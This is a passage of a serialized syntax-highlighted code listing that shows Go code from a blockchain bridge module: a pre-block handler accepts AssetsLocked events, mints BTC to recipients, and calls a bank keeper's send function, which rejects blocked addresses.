",{"type":24,"tag":147,"props":87279,"children":87280},{"style":241},[87281],{"type":29,"value":244},{"type":24,"tag":147,"props":87283,"children":87284},{"style":9044},[87285],{"type":29,"value":87286},"PreBlockHandler",{"type":24,"tag":147,"props":87288,"children":87289},{"style":235},[87290],{"type":29,"value":564},{"type":24,"tag":147,"props":87292,"children":87293},{"style":229},[87294],{"type":29,"value":86987},{"type":24,"tag":147,"props":87296,"children":87297},{"style":235},[87298],{"type":29,"value":19658},{"type":24,"tag":147,"props":87300,"children":87301},{"style":9044},[87302],{"type":29,"value":84314},{"type":24,"tag":147,"props":87304,"children":87305},{"style":235},[87306],{"type":29,"value":87},{"type":24,"tag":147,"props":87308,"children":87309},{"style":9044},[87310],{"type":29,"value":86987},{"type":24,"tag":147,"props":87312,"children":87313},{"style":235},[87314],{"type":29,"value":6630},{"type":24,"tag":147,"props":87316,"children":87317},{"class":149,"line":160},[87318,87322,87326],{"type":24,"tag":147,"props":87319,"children":87320},{"style":321},[87321],{"type":29,"value":2597},{"type":24,"tag":147,"props":87323,"children":87324},{"style":218},[87325],{"type":29,"value":85593},{"type":24,"tag":147,"props":87327,"children":87328},{"style":235},[87329],{"type":29,"value":9088},{"type":24,"tag":147,"props":87331,"children":87332},{"class":149,"line":169},[87333,87337,87341,87345,87349],{"type":24,"tag":147,"props":87334,"children":87335},{"style":247},[87336],{"type":29,"value":31787},{"type":24,"tag":147,"props":87338,"children":87339},{"style":9044},[87340],{"type":29,"value":84225},{"type":24,"tag":147,"props":87342,"children":87343},{"style":235},[87344],{"type":29,"value":87},{"type":24,"tag":147,"props":87346,"children":87347},{"style":9044},[87348],{"type":29,"value":81933},{"type":24,"tag":147,"props":87350,"children":87351},{"style":235},[87352],{"type":29,"value":1549},{"type":24,"tag":147,"props":87354,"children":87355},{"class":149,"line":178},[87356,87361,87365,87370,87374,87379],{"type":24,"tag":147,"props":87357,"children":87358},{"style":247},[87359],{"type":29,"value":87360},"        req",{"type":24,"tag":147,"props":87362,"children":87363},{"style":241},[87364],{"type":29,"value":1263},{"type":24,"tag":147,"props":87366,"children":87367},{"style":9044},[87368],{"type":29,"value":87369},"cmtabci",{"type":24,"tag":147,"props":87371,"children":87372},{"style":235},[87373],{"type":29,"value":87},{"type":24,"tag":147,"props":87375,"children":87376},{"style":9044},[87377],{"type":29,"value":87378},"RequestFinalizeBlock",{"type":24,"tag":147,"props":87380,"children":87381},{"style":235},[87382],{"type":29,"value":1549},{"type":24,"tag":147,"props":87384,"children":87385},{"class":149,"line":187},[87386,87390,87394,87398,87402,87407,87411,87415],{"type":24,"tag":147,"props":87387,"children":87388},{"style":235},[87389],{"type":29,"value":85661},{"type":24,"tag":147,"props":87391,"children":87392},{"style":241},[87393],{"type":29,"value":244},{"type":24,"tag":147,"props":87395,"children":87396},{"style":9044},[87397],{"type":29,"value":84314},{"type":24,"tag":147,"props":87399,"children":87400},{"style":235},[87401],{"type":29,"value":87},{"type":24,"tag":147,"props":87403,"children":87404},{"style":9044},[87405],{"type":29,"value":87406},"ResponsePreBlock",{"type":24,"tag":147,"props":87408,"children":87409},{"style":235},[87410],{"type":29,"value":546},{"type":24,"tag":147,"props":87412,"children":87413},{"style":9044},[87414],{"type":29,"value":20477},{"type":24,"tag":147,"props":87416,"children":87417},{"style":235},[87418],{"type":29,"value":505},{"type":24,"tag":147,"props":87420,"children":87421},{"class":149,"line":196},[87422],{"type":24,"tag":147,"props":87423,"children":87424},{"style":241},[87425],{"type":29,"value":87426},"        ...\n",{"type":24,"tag":147,"props":87428,"children":87429},{"class":149,"line":205},[87430,87435,87439,87444,87448,87453,87457,87462,87466,87470,87474,87479],{"type":24,"tag":147,"props":87431,"children":87432},{"style":247},[87433],{"type":29,"value":87434},"        err",{"type":24,"tag":147,"props":87436,"children":87437},{"style":241},[87438],{"type":29,"value":82000},{"type":24,"tag":147,"props":87440,"children":87441},{"style":247},[87442],{"type":29,"value":87443}," pbh",{"type":24,"tag":147,"props":87445,"children":87446},{"style":235},[87447],{"type":29,"value":87},{"type":24,"tag":147,"props":87449,"children":87450},{"style":247},[87451],{"type":29,"value":87452},"bridgeKeeper",{"type":24,"tag":147,"props":87454,"children":87455},{"style":235},[87456],{"type":29,"value":87},{"type":24,"tag":147,"props":87458,"children":87459},{"style":229},[87460],{"type":29,"value":87461},"AcceptAssetsLocked",{"type":24,"tag":147,"props":87463,"children":87464},{"style":235},[87465],{"type":29,"value":480},{"type":24,"tag":147,"props":87467,"children":87468},{"style":247},[87469],{"type":29,"value":25884},{"type":24,"tag":147,"props":87471,"children":87472},{"style":235},[87473],{"type":29,"value":546},{"type":24,"tag":147,"props":87475,"children":87476},{"style":247},[87477],{"type":29,"value":87478},"events",{"type":24,"tag":147,"props":87480,"children":87481},{"style":235},[87482],{"type":29,"value":269},{"type":24,"tag":147,"props":87484,"children":87485},{"class":149,"line":214},[87486,87490,87494,87498,87503],{"type":24,"tag":147,"props":87487,"children":87488},{"style":321},[87489],{"type":29,"value":403},{"type":24,"tag":147,"props":87491,"children":87492},{"style":247},[87493],{"type":29,"value":54119},{"type":24,"tag":147,"props":87495,"children":87496},{"style":241},[87497],{"type":29,"value":69968},{"type":24,"tag":147,"props":87499,"children":87500},{"style":218},[87501],{"type":29,"value":87502}," nil",{"type":24,"tag":147,"props":87504,"children":87505},{"style":235},[87506],{"type":29,"value":6630},{"type":24,"tag":147,"props":87508,"children":87509},{"class":149,"line":272},[87510,87514,87518,87522,87527,87531,87536,87540,87545,87549,87553],{"type":24,"tag":147,"props":87511,"children":87512},{"style":321},[87513],{"type":29,"value":84660},{"type":24,"tag":147,"props":87515,"children":87516},{"style":218},[87517],{"type":29,"value":87502},{"type":24,"tag":147,"props":87519,"children":87520},{"style":235},[87521],{"type":29,"value":546},{"type":24,"tag":147,"props":87523,"children":87524},{"style":247},[87525],{"type":29,"value":87526},"fmt",{"type":24,"tag":147,"props":87528,"children":87529},{"style":235},[87530],{"type":29,"value":87},{"type":24,"tag":147,"props":87532,"children":87533},{"style":229},[87534],{"type":29,"value":87535},"Errorf",{"type":24,"tag":147,"props":87537,"children":87538},{"style":235},[87539],{"type":29,"value":480},{"type":24,"tag":147,"props":87541,"children":87542},{"style":3534},[87543],{"type":29,"value":87544},"\"cannot accept AssetsLocked events: %w\"",{"type":24,"tag":147,"props":87546,"children":87547},{"style":235},[87548],{"type":29,"value":546},{"type":24,"tag":147,"props":87550,"children":87551},{"style":247},[87552],{"type":29,"value":54019},{"type":24,"tag":147,"props":87554,"children":87555},{"style":235},[87556],{"type":29,"value":269},{"type":24,"tag":147,"props":87558,"children":87559},{"class":149,"line":281},[87560],{"type":24,"tag":147,"props":87561,"children":87562},{"style":235},[87563],{"type":29,"value":441},{"type":24,"tag":147,"props":87565,"children":87566},{"class":149,"line":299},[87567],{"type":24,"tag":147,"props":87568,"children":87569},{"style":241},[87570],{"type":29,"value":87426},{"type":24,"tag":147,"props":87572,"children":87573},{"class":149,"line":308},[87574],{"type":24,"tag":147,"props":87575,"children":87576},{"style":235},[87577],{"type":29,"value":1952},{"type":24,"tag":147,"props":87579,"children":87580},{"class":149,"line":317},[87581],{"type":24,"tag":147,"props":87582,"children":87583},{"style":235},[87584],{"type":29,"value":827},{"type":24,"tag":147,"props":87586,"children":87587},{"class":149,"line":332},[87588],{"type":24,"tag":147,"props":87589,"children":87590},{"emptyLinePlaceholder":16},[87591],{"type":29,"value":314},{"type":24,"tag":147,"props":87593,"children":87594},{"class":149,"line":350},[87595,87599,87603,87607,87611,87615,87619],{"type":24,"tag":147,"props":87596,"children":87597},{"style":218},[87598],{"type":29,"value":81884},{"type":24,"tag":147,"props":87600,"children":87601},{"style":235},[87602],{"type":29,"value":408},{"type":24,"tag":147,"props":87604,"children":87605},{"style":247},[87606],{"type":29,"value":86712},{"type":24,"tag":147,"props":87608,"children":87609},{"style":9044},[87610],{"type":29,"value":85529},{"type":24,"tag":147,"props":87612,"children":87613},{"style":235},[87614],{"type":29,"value":564},{"type":24,"tag":147,"props":87616,"children":87617},{"style":229},[87618],{"type":29,"value":87461},{"type":24,"tag":147,"props":87620,"children":87621},{"style":235},[87622],{"type":29,"value":9088},{"type":24,"tag":147,"props":87624,"children":87625},{"class":149,"line":358},[87626,87630,87634,87638,87642],{"type":24,"tag":147,"props":87627,"children":87628},{"style":247},[87629],{"type":29,"value":25827},{"type":24,"tag":147,"props":87631,"children":87632},{"style":9044},[87633],{"type":29,"value":84225},{"type":24,"tag":147,"props":87635,"children":87636},{"style":235},[87637],{"type":29,"value":87},{"type":24,"tag":147,"props":87639,"children":87640},{"style":9044},[87641],{"type":29,"value":81933},{"type":24,"tag":147,"props":87643,"children":87644},{"style":235},[87645],{"type":29,"value":1549},{"type":24,"tag":147,"props":87647,"children":87648},{"class":149,"line":397},[87649,87654,87658,87662,87667],{"type":24,"tag":147,"props":87650,"children":87651},{"style":247},[87652],{"type":29,"value":87653},"    events",{"type":24,"tag":147,"props":87655,"children":87656},{"style":9044},[87657],{"type":29,"value":83759},{"type":24,"tag":147,"props":87659,"children":87660},{"style":235},[87661],{"type":29,"value":87},{"type":24,"tag":147,"props":87663,"children":87664},{"style":9044},[87665],{"type":29,"value":87666},"AssetsLockedEvents",{"type":24,"tag":147,"props":87668,"children":87669},{"style":235},[87670],{"type":29,"value":1549},{"type":24,"tag":147,"props":87672,"children":87673},{"class":149,"line":421},[87674,87678,87682],{"type":24,"tag":147,"props":87675,"children":87676},{"style":235},[87677],{"type":29,"value":564},{"type":24,"tag":147,"props":87679,"children":87680},{"style":9044},[87681],{"type":29,"value":20477},{"type":24,"tag":147,"props":87683,"children":87684},{"style":235},[87685],{"type":29,"value":6630},{"type":24,"tag":147,"props":87687,"children":87688},{"class":149,"line":435},[87689],{"type":24,"tag":147,"props":87690,"children":87691},{"style":241},[87692],{"type":29,"value":25943},{"type":24,"tag":147,"props":87694,"children":87695},{"class":149,"line":444},[87696,87700,87704,87708,87713,87717,87721,87726],{"type":24,"tag":147,"props":87697,"children":87698},{"style":321},[87699],{"type":29,"value":324},{"type":24,"tag":147,"props":87701,"children":87702},{"style":247},[87703],{"type":29,"value":8669},{"type":24,"tag":147,"props":87705,"children":87706},{"style":235},[87707],{"type":29,"value":546},{"type":24,"tag":147,"props":87709,"children":87710},{"style":247},[87711],{"type":29,"value":87712},"event",{"type":24,"tag":147,"props":87714,"children":87715},{"style":241},[87716],{"type":29,"value":82000},{"type":24,"tag":147,"props":87718,"children":87719},{"style":321},[87720],{"type":29,"value":82983},{"type":24,"tag":147,"props":87722,"children":87723},{"style":247},[87724],{"type":29,"value":87725}," events",{"type":24,"tag":147,"props":87727,"children":87728},{"style":235},[87729],{"type":29,"value":6630},{"type":24,"tag":147,"props":87731,"children":87732},{"class":149,"line":452},[87733,87738,87742,87746,87750,87754,87758,87763,87767,87771,87775,87780],{"type":24,"tag":147,"props":87734,"children":87735},{"style":247},[87736],{"type":29,"value":87737},"        recipient",{"type":24,"tag":147,"props":87739,"children":87740},{"style":235},[87741],{"type":29,"value":546},{"type":24,"tag":147,"props":87743,"children":87744},{"style":247},[87745],{"type":29,"value":54019},{"type":24,"tag":147,"props":87747,"children":87748},{"style":241},[87749],{"type":29,"value":82000},{"type":24,"tag":147,"props":87751,"children":87752},{"style":247},[87753],{"type":29,"value":84225},{"type":24,"tag":147,"props":87755,"children":87756},{"style":235},[87757],{"type":29,"value":87},{"type":24,"tag":147,"props":87759,"children":87760},{"style":229},[87761],{"type":29,"value":87762},"AccAddressFromBech32",{"type":24,"tag":147,"props":87764,"children":87765},{"style":235},[87766],{"type":29,"value":480},{"type":24,"tag":147,"props":87768,"children":87769},{"style":247},[87770],{"type":29,"value":87712},{"type":24,"tag":147,"props":87772,"children":87773},{"style":235},[87774],{"type":29,"value":87},{"type":24,"tag":147,"props":87776,"children":87777},{"style":247},[87778],{"type":29,"value":87779},"Recipient",{"type":24,"tag":147,"props":87781,"children":87782},{"style":235},[87783],{"type":29,"value":269},{"type":24,"tag":147,"props":87785,"children":87786},{"class":149,"line":461},[87787,87791,87795,87799,87803],{"type":24,"tag":147,"props":87788,"children":87789},{"style":321},[87790],{"type":29,"value":403},{"type":24,"tag":147,"props":87792,"children":87793},{"style":247},[87794],{"type":29,"value":54119},{"type":24,"tag":147,"props":87796,"children":87797},{"style":241},[87798],{"type":29,"value":69968},{"type":24,"tag":147,"props":87800,"children":87801},{"style":218},[87802],{"type":29,"value":87502},{"type":24,"tag":147,"props":87804,"children":87805},{"style":235},[87806],{"type":29,"value":6630},{"type":24,"tag":147,"props":87808,"children":87809},{"class":149,"line":469},[87810,87814,87819,87823,87827,87831,87836,87840,87844],{"type":24,"tag":147,"props":87811,"children":87812},{"style":321},[87813],{"type":29,"value":84660},{"type":24,"tag":147,"props":87815,"children":87816},{"style":247},[87817],{"type":29,"value":87818}," fmt",{"type":24,"tag":147,"props":87820,"children":87821},{"style":235},[87822],{"type":29,"value":87},{"type":24,"tag":147,"props":87824,"children":87825},{"style":229},[87826],{"type":29,"value":87535},{"type":24,"tag":147,"props":87828,"children":87829},{"style":235},[87830],{"type":29,"value":480},{"type":24,"tag":147,"props":87832,"children":87833},{"style":3534},[87834],{"type":29,"value":87835},"\"failed to parse recipient address: %w\"",{"type":24,"tag":147,"props":87837,"children":87838},{"style":235},[87839],{"type":29,"value":546},{"type":24,"tag":147,"props":87841,"children":87842},{"style":247},[87843],{"type":29,"value":54019},{"type":24,"tag":147,"props":87845,"children":87846},{"style":235},[87847],{"type":29,"value":269},{"type":24,"tag":147,"props":87849,"children":87850},{"class":149,"line":508},[87851],{"type":24,"tag":147,"props":87852,"children":87853},{"style":235},[87854],{"type":29,"value":441},{"type":24,"tag":147,"props":87856,"children":87857},{"class":149,"line":572},[87858],{"type":24,"tag":147,"props":87859,"children":87860},{"emptyLinePlaceholder":16},[87861],{"type":29,"value":314},{"type":24,"tag":147,"props":87863,"children":87864},{"class":149,"line":591},[87865,87869,87873,87877,87882,87886,87890,87894,87899,87903,87908],{"type":24,"tag":147,"props":87866,"children":87867},{"style":321},[87868],{"type":29,"value":403},{"type":24,"tag":147,"props":87870,"children":87871},{"style":247},[87872],{"type":29,"value":2740},{"type":24,"tag":147,"props":87874,"children":87875},{"style":235},[87876],{"type":29,"value":87},{"type":24,"tag":147,"props":87878,"children":87879},{"style":229},[87880],{"type":29,"value":87881},"Equal",{"type":24,"tag":147,"props":87883,"children":87884},{"style":235},[87885],{"type":29,"value":480},{"type":24,"tag":147,"props":87887,"children":87888},{"style":247},[87889],{"type":29,"value":87712},{"type":24,"tag":147,"props":87891,"children":87892},{"style":235},[87893],{"type":29,"value":87},{"type":24,"tag":147,"props":87895,"children":87896},{"style":229},[87897],{"type":29,"value":87898},"TokenBytes",{"type":24,"tag":147,"props":87900,"children":87901},{"style":235},[87902],{"type":29,"value":23982},{"type":24,"tag":147,"props":87904,"children":87905},{"style":247},[87906],{"type":29,"value":87907},"sourceBTCToken",{"type":24,"tag":147,"props":87909,"children":87910},{"style":235},[87911],{"type":29,"value":505},{"type":24,"tag":147,"props":87913,"children":87914},{"class":149,"line":632},[87915,87920,87924,87928,87932,87937,87941,87945,87949,87953,87957,87961,87965,87969],{"type":24,"tag":147,"props":87916,"children":87917},{"style":247},[87918],{"type":29,"value":87919},"            err",{"type":24,"tag":147,"props":87921,"children":87922},{"style":241},[87923],{"type":29,"value":651},{"type":24,"tag":147,"props":87925,"children":87926},{"style":247},[87927],{"type":29,"value":86840},{"type":24,"tag":147,"props":87929,"children":87930},{"style":235},[87931],{"type":29,"value":87},{"type":24,"tag":147,"props":87933,"children":87934},{"style":229},[87935],{"type":29,"value":87936},"mintBTC",{"type":24,"tag":147,"props":87938,"children":87939},{"style":235},[87940],{"type":29,"value":480},{"type":24,"tag":147,"props":87942,"children":87943},{"style":247},[87944],{"type":29,"value":25884},{"type":24,"tag":147,"props":87946,"children":87947},{"style":235},[87948],{"type":29,"value":546},{"type":24,"tag":147,"props":87950,"children":87951},{"style":247},[87952],{"type":29,"value":87235},{"type":24,"tag":147,"props":87954,"children":87955},{"style":235},[87956],{"type":29,"value":546},{"type":24,"tag":147,"props":87958,"children":87959},{"style":247},[87960],{"type":29,"value":87712},{"type":24,"tag":147,"props":87962,"children":87963},{"style":235},[87964],{"type":29,"value":87},{"type":24,"tag":147,"props":87966,"children":87967},{"style":247},[87968],{"type":29,"value":84639},{"type":24,"tag":147,"props":87970,"children":87971},{"style":235},[87972],{"type":29,"value":269},{"type":24,"tag":147,"props":87974,"children":87975},{"class":149,"line":659},[87976,87980,87984,87988,87992],{"type":24,"tag":147,"props":87977,"children":87978},{"style":321},[87979],{"type":29,"value":64385},{"type":24,"tag":147,"props":87981,"children":87982},{"style":247},[87983],{"type":29,"value":54119},{"type":24,"tag":147,"props":87985,"children":87986},{"style":241},[87987],{"type":29,"value":69968},{"type":24,"tag":147,"props":87989,"children":87990},{"style":218},[87991],{"type":29,"value":87502},{"type":24,"tag":147,"props":87993,"children":87994},{"style":235},[87995],{"type":29,"value":6630},{"type":24,"tag":147,"props":87997,"children":87998},{"class":149,"line":684},[87999,88003,88007,88011,88015],{"type":24,"tag":147,"props":88000,"children":88001},{"style":321},[88002],{"type":29,"value":66310},{"type":24,"tag":147,"props":88004,"children":88005},{"style":247},[88006],{"type":29,"value":87818},{"type":24,"tag":147,"props":88008,"children":88009},{"style":235},[88010],{"type":29,"value":87},{"type":24,"tag":147,"props":88012,"children":88013},{"style":229},[88014],{"type":29,"value":87535},{"type":24,"tag":147,"props":88016,"children":88017},{"style":235},[88018],{"type":29,"value":9088},{"type":24,"tag":147,"props":88020,"children":88021},{"class":149,"line":715},[88022,88027],{"type":24,"tag":147,"props":88023,"children":88024},{"style":3534},[88025],{"type":29,"value":88026},"                    \"failed to mint BTC for event %v: %w\"",{"type":24,"tag":147,"props":88028,"children":88029},{"style":235},[88030],{"type":29,"value":1549},{"type":24,"tag":147,"props":88032,"children":88033},{"class":149,"line":744},[88034,88039,88043,88048],{"type":24,"tag":147,"props":88035,"children":88036},{"style":247},[88037],{"type":29,"value":88038},"                    event",{"type":24,"tag":147,"props":88040,"children":88041},{"style":235},[88042],{"type":29,"value":87},{"type":24,"tag":147,"props":88044,"children":88045},{"style":247},[88046],{"type":29,"value":88047},"Sequence",{"type":24,"tag":147,"props":88049,"children":88050},{"style":235},[88051],{"type":29,"value":1549},{"type":24,"tag":147,"props":88053,"children":88054},{"class":149,"line":784},[88055,88060],{"type":24,"tag":147,"props":88056,"children":88057},{"style":247},[88058],{"type":29,"value":88059},"                    err",{"type":24,"tag":147,"props":88061,"children":88062},{"style":235},[88063],{"type":29,"value":1549},{"type":24,"tag":147,"props":88065,"children":88066},{"class":149,"line":792},[88067],{"type":24,"tag":147,"props":88068,"children":88069},{"style":235},[88070],{"type":29,"value":88071},"                )\n",{"type":24,"tag":147,"props":88073,"children":88074},{"class":149,"line":805},[88075],{"type":24,"tag":147,"props":88076,"children":88077},{"style":235},[88078],{"type":29,"value":1935},{"type":24,"tag":147,"props":88080,"children":88081},{"class":149,"line":813},[88082,88086,88090],{"type":24,"tag":147,"props":88083,"children":88084},{"style":235},[88085],{"type":29,"value":8938},{"type":24,"tag":147,"props":88087,"children":88088},{"style":321},[88089],{"type":29,"value":6625},{"type":24,"tag":147,"props":88091,"children":88092},{"style":235},[88093],{"type":29,"value":6630},{"type":24,"tag":147,"props":88095,"children":88096},{"class":149,"line":821},[88097],{"type":24,"tag":147,"props":88098,"children":88099},{"style":241},[88100],{"type":29,"value":88101},"            ...\n",{"type":24,"tag":147,"props":88103,"children":88104},{"class":149,"line":1902},[88105],{"type":24,"tag":147,"props":88106,"children":88107},{"style":235},[88108],{"type":29,"value":441},{"type":24,"tag":147,"props":88110,"children":88111},{"class":149,"line":1920},[88112],{"type":24,"tag":147,"props":88113,"children":88114},{"style":235},[88115],{"type":29,"value":1952},{"type":24,"tag":147,"props":88117,"children":88118},{"class":149,"line":1929},[88119],{"type":24,"tag":147,"props":88120,"children":88121},{"style":241},[88122],{"type":29,"value":25943},{"type":24,"tag":147,"props":88124,"children":88125},{"class":149,"line":1938},[88126],{"type":24,"tag":147,"props":88127,"children":88128},{"style":235},[88129],{"type":29,"value":827},{"type":24,"tag":147,"props":88131,"children":88132},{"class":149,"line":1946},[88133],{"type":24,"tag":147,"props":88134,"children":88135},{"emptyLinePlaceholder":16},[88136],{"type":29,"value":314},{"type":24,"tag":147,"props":88138,"children":88139},{"class":149,"line":1955},[88140,88144,88148,88152,88156,88160,88164],{"type":24,"tag":147,"props":88141,"children":88142},{"style":218},[88143],{"type":29,"value":81884},{"type":24,"tag":147,"props":88145,"children":88146},{"style":235},[88147],{"type":29,"value":408},{"type":24,"tag":147,"props":88149,"children":88150},{"style":247},[88151],{"type":29,"value":86712},{"type":24,"tag":147,"props":88153,"children":88154},{"style":9044},[88155],{"type":29,"value":85529},{"type":24,"tag":147,"props":88157,"children":88158},{"style":235},[88159],{"type":29,"value":564},{"type":24,"tag":147,"props":88161,"children":88162},{"style":229},[88163],{"type":29,"value":87936},{"type":24,"tag":147,"props":88165,"children":88166},{"style":235},[88167],{"type":29,"value":9088},{"type":24,"tag":147,"props":88169,"children":88170},{"class":149,"line":29376},[88171,88175,88179,88183,88187],{"type":24,"tag":147,"props":88172,"children":88173},{"style":247},[88174],{"type":29,"value":25827},{"type":24,"tag":147,"props":88176,"children":88177},{"style":9044},[88178],{"type":29,"value":84225},{"type":24,"tag":147,"props":88180,"children":88181},{"style":235},[88182],{"type":29,"value":87},{"type":24,"tag":147,"props":88184,"children":88185},{"style":9044},[88186],{"type":29,"value":81933},{"type":24,"tag":147,"props":88188,"children":88189},{"style":235},[88190],{"type":29,"value":1549},{"type":24,"tag":147,"props":88192,"children":88193},{"class":149,"line":29384},[88194,88199,88203,88207,88212],{"type":24,"tag":147,"props":88195,"children":88196},{"style":247},[88197],{"type":29,"value":88198},"    recipient",{"type":24,"tag":147,"props":88200,"children":88201},{"style":9044},[88202],{"type":29,"value":84225},{"type":24,"tag":147,"props":88204,"children":88205},{"style":235},[88206],{"type":29,"value":87},{"type":24,"tag":147,"props":88208,"children":88209},{"style":9044},[88210],{"type":29,"value":88211},"AccAddress",{"type":24,"tag":147,"props":88213,"children":88214},{"style":235},[88215],{"type":29,"value":1549},{"type":24,"tag":147,"props":88217,"children":88218},{"class":149,"line":29421},[88219,88223,88228,88232,88237],{"type":24,"tag":147,"props":88220,"children":88221},{"style":247},[88222],{"type":29,"value":67164},{"type":24,"tag":147,"props":88224,"children":88225},{"style":9044},[88226],{"type":29,"value":88227}," math",{"type":24,"tag":147,"props":88229,"children":88230},{"style":235},[88231],{"type":29,"value":87},{"type":24,"tag":147,"props":88233,"children":88234},{"style":9044},[88235],{"type":29,"value":88236},"Int",{"type":24,"tag":147,"props":88238,"children":88239},{"style":235},[88240],{"type":29,"value":1549},{"type":24,"tag":147,"props":88242,"children":88243},{"class":149,"line":29434},[88244,88248,88252],{"type":24,"tag":147,"props":88245,"children":88246},{"style":235},[88247],{"type":29,"value":564},{"type":24,"tag":147,"props":88249,"children":88250},{"style":9044},[88251],{"type":29,"value":20477},{"type":24,"tag":147,"props":88253,"children":88254},{"style":235},[88255],{"type":29,"value":6630},{"type":24,"tag":147,"props":88257,"children":88258},{"class":149,"line":29447},[88259],{"type":24,"tag":147,"props":88260,"children":88261},{"style":241},[88262],{"type":29,"value":25943},{"type":24,"tag":147,"props":88264,"children":88265},{"class":149,"line":29460},[88266,88271,88275,88279,88283,88288,88292,88296],{"type":24,"tag":147,"props":88267,"children":88268},{"style":247},[88269],{"type":29,"value":88270},"    err",{"type":24,"tag":147,"props":88272,"children":88273},{"style":241},[88274],{"type":29,"value":651},{"type":24,"tag":147,"props":88276,"children":88277},{"style":247},[88278],{"type":29,"value":86840},{"type":24,"tag":147,"props":88280,"children":88281},{"style":235},[88282],{"type":29,"value":87},{"type":24,"tag":147,"props":88284,"children":88285},{"style":247},[88286],{"type":29,"value":88287},"bankKeeper",{"type":24,"tag":147,"props":88289,"children":88290},{"style":235},[88291],{"type":29,"value":87},{"type":24,"tag":147,"props":88293,"children":88294},{"style":229},[88295],{"type":29,"value":87227},{"type":24,"tag":147,"props":88297,"children":88298},{"style":235},[88299],{"type":29,"value":9088},{"type":24,"tag":147,"props":88301,"children":88302},{"class":149,"line":29514},[88303,88307],{"type":24,"tag":147,"props":88304,"children":88305},{"style":247},[88306],{"type":29,"value":31787},{"type":24,"tag":147,"props":88308,"children":88309},{"style":235},[88310],{"type":29,"value":1549},{"type":24,"tag":147,"props":88312,"children":88313},{"class":149,"line":29523},[88314,88319,88323,88328],{"type":24,"tag":147,"props":88315,"children":88316},{"style":247},[88317],{"type":29,"value":88318},"        types",{"type":24,"tag":147,"props":88320,"children":88321},{"style":235},[88322],{"type":29,"value":87},{"type":24,"tag":147,"props":88324,"children":88325},{"style":247},[88326],{"type":29,"value":88327},"ModuleName",{"type":24,"tag":147,"props":88329,"children":88330},{"style":235},[88331],{"type":29,"value":1549},{"type":24,"tag":147,"props":88333,"children":88334},{"class":149,"line":37881},[88335,88339],{"type":24,"tag":147,"props":88336,"children":88337},{"style":247},[88338],{"type":29,"value":87737},{"type":24,"tag":147,"props":88340,"children":88341},{"style":235},[88342],{"type":29,"value":1549},{"type":24,"tag":147,"props":88344,"children":88345},{"class":149,"line":37902},[88346,88351],{"type":24,"tag":147,"props":88347,"children":88348},{"style":247},[88349],{"type":29,"value":88350},"        coins",{"type":24,"tag":147,"props":88352,"children":88353},{"style":235},[88354],{"type":29,"value":1549},{"type":24,"tag":147,"props":88356,"children":88357},{"class":149,"line":86535},[88358],{"type":24,"tag":147,"props":88359,"children":88360},{"style":235},[88361],{"type":29,"value":29520},{"type":24,"tag":147,"props":88363,"children":88364},{"class":149,"line":86548},[88365,88369,88373,88377,88381],{"type":24,"tag":147,"props":88366,"children":88367},{"style":321},[88368],{"type":29,"value":4759},{"type":24,"tag":147,"props":88370,"children":88371},{"style":247},[88372],{"type":29,"value":54119},{"type":24,"tag":147,"props":88374,"children":88375},{"style":241},[88376],{"type":29,"value":69968},{"type":24,"tag":147,"props":88378,"children":88379},{"style":218},[88380],{"type":29,"value":87502},{"type":24,"tag":147,"props":88382,"children":88383},{"style":235},[88384],{"type":29,"value":6630},{"type":24,"tag":147,"props":88386,"children":88387},{"class":149,"line":86556},[88388,88392,88396,88400,88404,88408,88413,88417,88421],{"type":24,"tag":147,"props":88389,"children":88390},{"style":321},[88391],{"type":29,"value":7020},{"type":24,"tag":147,"props":88393,"children":88394},{"style":247},[88395],{"type":29,"value":87818},{"type":24,"tag":147,"props":88397,"children":88398},{"style":235},[88399],{"type":29,"value":87},{"type":24,"tag":147,"props":88401,"children":88402},{"style":229},[88403],{"type":29,"value":87535},{"type":24,"tag":147,"props":88405,"children":88406},{"style":235},[88407],{"type":29,"value":480},{"type":24,"tag":147,"props":88409,"children":88410},{"style":3534},[88411],{"type":29,"value":88412},"\"failed to send coins: %w\"",{"type":24,"tag":147,"props":88414,"children":88415},{"style":235},[88416],{"type":29,"value":546},{"type":24,"tag":147,"props":88418,"children":88419},{"style":247},[88420],{"type":29,"value":54019},{"type":24,"tag":147,"props":88422,"children":88423},{"style":235},[88424],{"type":29,"value":269},{"type":24,"tag":147,"props":88426,"children":88427},{"class":149,"line":86564},[88428],{"type":24,"tag":147,"props":88429,"children":88430},{"style":235},[88431],{"type":29,"value":1952},{"type":24,"tag":147,"props":88433,"children":88434},{"class":149,"line":86572},[88435],{"type":24,"tag":147,"props":88436,"children":88437},{"style":241},[88438],{"type":29,"value":25943},{"type":24,"tag":147,"props":88440,"children":88441},{"class":149,"line":86612},[88442],{"type":24,"tag":147,"props":88443,"children":88444},{"style":235},[88445],{"type":29,"value":827},{"type":24,"tag":137,"props":88447,"children":88449},{"code":88448,"language":81748,"meta":7,"className":81749,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n  return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[88450],{"type":24,"tag":80,"props":88451,"children":88452},{"__ignoreMap":7},[88453,88485,88564,88579,88587,88618,88676,88683,88690],{"type":24,"tag":147,"props":88454,"children":88455},{"class":149,"line":150},[88456,88460,88464,88468,88473,88477,88481],{"type":24,"tag":147,"props":88457,"children":88458},{"style":218},[88459],{"type":29,"value":81884},{"type":24,"tag":147,"props":88461,"children":88462},{"style":235},[88463],{"type":29,"value":408},{"type":24,"tag":147,"props":88465,"children":88466},{"style":247},[88467],{"type":29,"value":86712},{"type":24,"tag":147,"props":88469,"children":88470},{"style":9044},[88471],{"type":29,"value":88472},"BaseKeeper",{"type":24,"tag":147,"props":88474,"children":88475},{"style":235},[88476],{"type":29,"value":564},{"type":24,"tag":147,"props":88478,"children":88479},{"style":229},[88480],{"type":29,"value":87227},{"type":24,"tag":147,"props":88482,"children":88483},{"style":235},[88484],{"type":29,"value":9088},{"type":24,"tag":147,"props":88486,"children":88487},{"class":149,"line":160},[88488,88492,88496,88500,88504,88508,88513,88517,88521,88526,88530,88534,88538,88542,88547,88551,88555,88560],{"type":24,"tag":147,"props":88489,"children":88490},{"style":247},[88491],{"type":29,"value":31444},{"type":24,"tag":147,"props":88493,"children":88494},{"style":9044},[88495],{"type":29,"value":81924},{"type":24,"tag":147,"props":88497,"children":88498},{"style":235},[88499],{"type":29,"value":87},{"type":24,"tag":147,"props":88501,"children":88502},{"style":9044},[88503],{"type":29,"value":81933},{"type":24,"tag":147